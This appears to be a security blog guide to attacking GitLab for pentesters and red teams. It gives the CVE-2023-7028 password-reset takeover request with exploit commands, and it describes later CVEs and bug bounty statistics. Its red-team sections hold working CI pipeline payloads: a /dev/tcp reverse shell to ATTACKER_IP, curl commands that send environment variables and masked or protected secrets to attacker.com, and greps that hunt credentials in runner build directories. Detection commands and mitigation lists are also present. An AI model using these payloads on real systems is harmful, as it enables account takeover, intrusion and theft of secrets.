GitLab Security: A Comprehensive Guide for Pentesters and Red Teams (Updated 2026)

Updated: January 2026 | Author: Security Research Team
GitLab Penetration Testing Red Team CVE-2023-7028 Bug Bounty

Introduction

GitLab has become a critical component of modern software development infrastructure, serving as a comprehensive DevSecOps platform for millions of organizations worldwide. However, with great power comes great responsibility—and significant security challenges. This comprehensive guide explores the latest vulnerabilities, exploitation techniques, and red teaming methodologies specifically tailored for GitLab environments.

Whether you're a penetration tester conducting security assessments, a red team operator simulating advanced persistent threats, or a bug bounty hunter seeking high-impact vulnerabilities, this guide provides actionable intelligence on GitLab's attack surface. We cover everything from critical CVEs like CVE-2023-7028 to advanced CI/CD pipeline exploitation techniques that have been successfully used in real-world engagements.

🔴 CVE-2023-7028: Critical Account Takeover via Password Reset

Vulnerability Overview

CVSS 10.0 - CRITICAL CISA KEV

CVE ID: CVE-2023-7028

Type: Account Takeover via Password Reset

Discovered by: asterion04

Public Disclosure: January 11, 2024

CISA KEV Status: Added May 1, 2024 (Active Exploitation)

Technical Analysis

CVE-2023-7028 represents one of the most severe vulnerabilities ever discovered in GitLab, earning a perfect CVSS score of 10.0. This critical flaw allows attackers to take over any user account—including administrator accounts—without any user interaction whatsoever. The vulnerability was added to CISA's Known Exploited Vulnerabilities (KEV) catalog, indicating active exploitation in the wild.

How the Vulnerability Works

The vulnerability exists in GitLab's password reset functionality, which improperly handles multiple email addresses in a single request. When a password reset is initiated, the system accepts an array of email addresses and sends the reset token to all provided addresses. An attacker can exploit this by supplying both the victim's legitimate email address and their own attacker-controlled email address in the same request.

POST /users/password HTTP/1.1
Host: gitlab.example.com
Content-Type: application/x-www-form-urlencoded

user[email][]=victim@example.com&user[email][]=attacker@evil.com

The system then sends the password reset token to both email addresses, allowing the attacker to receive the token and reset the victim's password without the victim's knowledge or consent.

Affected Versions

Version Range Status Patched Version
16.1.0 - 16.1.5 Vulnerable 16.1.6
16.2.0 - 16.2.8 Vulnerable 16.2.9
16.3.0 - 16.3.6 Vulnerable 16.3.7
16.4.0 - 16.4.4 Vulnerable 16.4.5
16.5.0 - 16.5.5 Vulnerable 16.5.6
16.6.0 - 16.6.3 Vulnerable 16.6.4
16.7.0 - 16.7.1 Vulnerable 16.7.2

Proof of Concept: Vozec's Exploit

A fully functional proof-of-concept exploit is publicly available on GitHub at https://github.com/Vozec/CVE-2023-7028. The exploit provides two operational modes:

Method 1: Automated Exploitation with Temporary Email

This method automatically creates a temporary email address, sends the password reset request, retrieves the reset link from the temporary inbox, and resets the victim's password—all without manual intervention.

python3 CVE-2023-7028.py -u https://gitlab.example.com/ -t victim@example.com

Method 2: Manual Exploitation with Attacker-Controlled Email

This method uses an attacker-controlled email address and requires manual retrieval of the reset link. This approach is more suitable for penetration testing scenarios where you need to maintain control over the exploitation process.

python3 CVE-2023-7028.py -u https://gitlab.example.com/ -t victim@example.com -e attacker@evil.com

# With custom password
python3 CVE-2023-7028.py -u https://gitlab.example.com/ -t victim@example.com -e attacker@evil.com -p CustomP@ssw0rd

Impact Assessment

Critical Security Implications

  • Complete Account Takeover: Attackers can compromise ANY user account, including administrators with full system privileges
  • Zero User Interaction: Exploitation is completely passive and requires no action from the victim
  • Privilege Escalation: Direct path to administrative access by targeting admin accounts
  • Data Breach: Unrestricted access to all repositories, including private and confidential code
  • Supply Chain Compromise: Access to CI/CD pipelines, secrets, and deployment credentials
  • Persistent Access: Attackers can create backdoor accounts and maintain long-term access

Detection and Mitigation

Primary Defense: Two-Factor Authentication

Critical Mitigation: GitLab officially confirms that Two-Factor Authentication (2FA) prevents exploitation of this vulnerability. Even if an attacker successfully resets a user's password, they cannot bypass the second authentication factor.

Recommendation: Immediately enforce 2FA for all users, especially administrators and users with elevated privileges.

Detection Strategies

Monitor GitLab logs for suspicious password reset patterns:

# Check production logs for password reset activity
grep "password_reset" /var/log/gitlab/gitlab-rails/production_json.log

# Look for multiple email addresses in reset requests
grep -E "user\[email\]\[\].*user\[email\]\[\]" /var/log/gitlab/gitlab-rails/production_json.log

# Monitor audit logs for unauthorized password changes
grep "password_reset" /var/log/gitlab/gitlab-rails/audit_json.log | jq '.author_name, .ip_address, .created_at'

Additional Mitigations

  1. Immediate Patching: Upgrade to patched versions immediately (16.1.6, 16.2.9, 16.3.7, 16.4.5, 16.5.6, 16.6.4, 16.7.2 or later)
  2. Enforce 2FA: Make two-factor authentication mandatory for all users
  3. Monitor Logs: Implement real-time monitoring for suspicious password reset activity
  4. Sign-in Restrictions: Implement IP allowlisting for administrative accounts
  5. Audit Review: Review audit logs for unauthorized password resets since January 2024
  6. Incident Response: If exploitation is suspected, force password resets for all users and review access logs

🔒 Recent GitLab Vulnerabilities (2024-2025)

CVE-2024-6678: Pipeline Trigger as Arbitrary User

CVSS 9.9 - CRITICAL

Discovered by: yvvdwf | Disclosure: September 11, 2024

This critical vulnerability allows an authenticated attacker to trigger CI/CD pipelines as an arbitrary user under certain circumstances. This can lead to severe privilege escalation, unauthorized code execution in CI/CD environments, and potential compromise of the entire build and deployment pipeline.

Impact: Attackers can execute pipelines with elevated privileges, run arbitrary code in CI/CD environments, compromise build processes, and access CI/CD variables and secrets.

Affected Versions: GitLab CE/EE 8.14 to 17.1.6, 17.2.0 to 17.2.4, 17.3.0 to 17.3.1

Patched Versions: 17.1.7, 17.2.5, 17.3.2

CVE-2024-9164: Critical GitLab EE Vulnerability

CVSS 9.6 - CRITICAL

Discovered by: pwnie | Disclosure: October 9, 2024

A critical vulnerability affecting GitLab Enterprise Edition that could allow unauthorized access or data leaks in specific configurations. This vulnerability underscores the importance of maintaining up-to-date GitLab installations, particularly for enterprise deployments.

Affected Versions: GitLab EE 12.5.0 to 17.2.8, 17.3.0 to 17.3.4, 17.4.0 to 17.4.1

Patched Versions: 17.2.9, 17.3.5, 17.4.2

CVE-2024-5470: Deploy Token Creation by Guest Users

CVSS 7.1 - HIGH

Discovered by: indoappsec | Disclosure: July 10, 2024

Guest users with elevated privileges can create project-level deploy tokens, potentially granting unauthorized access to project resources. This vulnerability demonstrates the importance of proper access control and the principle of least privilege.

Impact: Unauthorized repository access, potential data exfiltration, and privilege escalation.

Affected Versions: GitLab CE/EE 17.0.0 to 17.0.3, 17.1.0 to 17.1.1

Patched Versions: 17.0.4, 17.1.2

CVE-2024-8641: CI_JOB_TOKEN Session Token Abuse

CVSS 7.1 - HIGH

Discovered by: yvvdwf | Disclosure: September 11, 2024

The CI_JOB_TOKEN can be abused to obtain a GitLab session token, allowing attackers to impersonate users and gain unauthorized access to the GitLab instance. This vulnerability highlights the risks associated with token management in CI/CD environments.

# Exploit CI_JOB_TOKEN to obtain session token
curl -H "Private-Token: $CI_JOB_TOKEN" \
     "https://gitlab.example.com/api/v4/user" \
     -v 2>&1 | grep -i "set-cookie"

# Use obtained session token for API access
curl -H "Cookie: _gitlab_session=STOLEN_SESSION" \
     "https://gitlab.example.com/api/v4/projects"

Impact: Session hijacking, account takeover, and unauthorized API access.

CVE-2024-8640: SSRF via Dependency Proxy

CVSS 5.3 - MEDIUM

Discovered by: joaxcar | Disclosure: September 11, 2024

Server-Side Request Forgery (SSRF) vulnerability in the Dependency Proxy feature that could allow attackers to make requests to internal services, potentially exposing sensitive internal infrastructure.

Impact: Internal network reconnaissance, access to internal services, and potential data disclosure.

Vulnerability Trends and Patterns (2024-2025)

Attack Vector Frequency Risk Level
CI/CD Pipeline Exploitation High Critical
Authentication Bypass Medium Critical
Token Abuse High High
SSRF Vulnerabilities Medium Medium-High
Information Disclosure High Medium

💰 GitLab Bug Bounty Program Insights (2024)

Total Bounties Paid
$1M+
Valid Reports
275
Total Reports
1,440
Active Researchers
457

GitLab's bug bounty program continues to be a significant source of vulnerability discovery and security improvement. In 2024, the program awarded over $1 million in bounties across 275 valid reports, with July being the busiest month at over $193,000 in payouts.

Top Researchers of 2024

Researcher Achievement Details
joaxcar Most Valid Reports 55 valid reports submitted
a92847865 Newcomer of the Year 16 reports since May 2024
yvvdwf Most Innovative Report Creative vulnerability discovery
ahacker1 Most Impactful Finding Pipeline security vulnerability
matanber Best Written Report Web IDE vulnerability with detailed documentation

Common Vulnerability Categories

Based on HackerOne reports and bug bounty submissions, the most common vulnerability categories include:

  • CI/CD Pipeline Security: Vulnerabilities in pipeline execution, job tokens, and runner security
  • Authentication and Authorization Bypass: Flaws in access control mechanisms
  • API Access Control Issues: Improper API endpoint protection and token management
  • Information Disclosure: Exposure of sensitive data through various channels
  • Server-Side Request Forgery (SSRF): Ability to make requests to internal services
  • Cross-Site Scripting (XSS): Client-side injection vulnerabilities
  • Code Injection: Server-side code execution vulnerabilities

🎯 Red Teaming Techniques

Red teaming GitLab environments requires a deep understanding of the platform's architecture, particularly its CI/CD pipeline infrastructure and runner ecosystem. The following techniques have been successfully employed in real-world red team engagements.

🔓 GitLab Runner Hijacking

One of the most effective attack vectors for red teams is the compromise of GitLab runners. By hijacking a runner, an attacker can gain access to the underlying infrastructure, steal secrets from CI/CD pipelines, and potentially pivot to other systems.

Attack Methodology

Step 1: Reconnaissance - Identify Available Runners

Create a test repository and navigate to Settings → CI/CD → Runners → Expand to identify available instance runners.

Step 2: Test Runner Configuration

# .gitlab-ci.yml
stages:
  - reconnaissance

recon:
  stage: reconnaissance
  tags:
    - target-runner
  script:
    - id
    - uname -a
    - ip a
    - env
    - ps aux
    - curl https://attacker.com/callback

Step 3: Identify Executor Type

Executor Type Execution Environment Impact Level
Shell Commands run directly on host High
Docker Commands run in containers Medium
Kubernetes Commands run in pods Medium

Step 4: Establish Persistence

Note: The following code is for educational and authorized penetration testing purposes only.

# Reverse shell via pipeline
stages:
  - exploit

shell:
  stage: exploit
  tags:
    - vulnerable-runner
  script:
    - /bin/sh -i >& /dev/tcp/ATTACKER_IP/443 0>&1

Step 5: Post-Exploitation

Once access to the runner is obtained, enumerate other projects' builds and search for sensitive information:

# Access gitlab-runner home directory
cd /home/gitlab-runner/builds

# Enumerate other projects' builds
ls -la */*/

# Search for secrets in other repositories
find . -name ".env" -o -name "*.pem" -o -name "*.key"
find . -type f -exec grep -l "password\|secret\|api_key" {} \;

# Search for AWS credentials
find . -type f -exec grep -l "AWS_ACCESS_KEY_ID\|AWS_SECRET_ACCESS_KEY" {} \;

# Search for database credentials
find . -type f -exec grep -l "DATABASE_PASSWORD\|DB_PASSWORD" {} \;

🔑 CI/CD Secrets Extraction

CI/CD pipelines often contain highly sensitive information, including API keys, database credentials, and deployment secrets. Attackers can use various techniques to extract these secrets.

Technique 1: Direct Variable Dumping

# .gitlab-ci.yml
stages:
  - exfiltrate

dump_secrets:
  stage: exfiltrate
  script:
    - env | grep -E "CI_|GITLAB_|AWS_|DATABASE_" | curl -X POST -d @- https://attacker.com/collect
    - printenv > /tmp/vars.txt
    - curl -F "file=@/tmp/vars.txt" https://attacker.com/upload

Technique 2: Masked Variable Bypass

GitLab masks sensitive variables in logs, but attackers can bypass this by encoding the variables:

# Bypass masked variables by encoding
stages:
  - bypass

extract_masked:
  stage: bypass
  script:
    - echo $MASKED_VAR | base64 | curl -X POST -d @- https://attacker.com/b64
    - echo $MASKED_VAR | xxd | curl -X POST -d @- https://attacker.com/hex
    - echo $MASKED_VAR | od -A n -t x1 | curl -X POST -d @- https://attacker.com/hex2

Technique 3: Protected Branch Bypass

Exploit pipeline triggers to access protected variables that should only be available on protected branches:

# Exploit pipeline triggers to access protected variables
stages:
  - trigger

bypass_protection:
  stage: trigger
  only:
    - main  # Protected branch
  script:
    - echo $PROTECTED_SECRET | curl -X POST -d @- https://attacker.com/protected

Defense Strategies

Protecting CI/CD Secrets

  • Use external secret management solutions (HashiCorp Vault, AWS Secrets Manager)
  • Enable pipeline approval rules for protected branches
  • Restrict external includes in pipeline configurations
  • Implement secret scanning in repositories
  • Use protected variables only on protected branches
  • Monitor for suspicious pipeline activity
  • Regularly rotate secrets and tokens

📝 Conclusion

GitLab's security landscape is constantly evolving, with new vulnerabilities and attack techniques emerging regularly. The discovery of critical vulnerabilities like CVE-2023-7028 demonstrates the importance of maintaining a proactive security posture, including regular patching, comprehensive monitoring, and the enforcement of security best practices like two-factor authentication.

For penetration testers and red teams, understanding GitLab's attack surface is crucial for conducting effective security assessments. From runner hijacking to CI/CD secrets extraction, the techniques outlined in this guide provide a foundation for exploring GitLab's security weaknesses and helping organizations strengthen their defenses.

The bug bounty program continues to play a vital role in identifying and addressing security issues before they can be exploited by malicious actors. With over $1 million awarded in 2024 alone, GitLab demonstrates a strong commitment to security research and responsible disclosure.

Key Takeaways

  • Patch Immediately: Apply security updates within 24-48 hours of release
  • Enforce 2FA: Mandatory two-factor authentication for all users, especially administrators
  • Secure CI/CD: Implement pipeline approval rules and secret management best practices
  • Monitor Actively: Enable comprehensive audit logging and monitor for suspicious activity
  • Regular Audits: Conduct regular security assessments and penetration tests
  • Stay Informed: Follow GitLab security advisories and bug bounty reports

Tags: #GitLab #Security #PenetrationTesting #RedTeam #CVE20237028 #BugBounty #CICD #DevSecOps

© 2026 Security Research Team. For educational and authorized security testing purposes only.

Comments

Popular posts from this blog

Tutorial: Build an AI Penetration Tester with Claude (MCP + Burp)

InfluxDB TCP 8086 (Default) — Authentication Bypass & Pentest Notes

Mastering PowerShell Execution Policy Bypass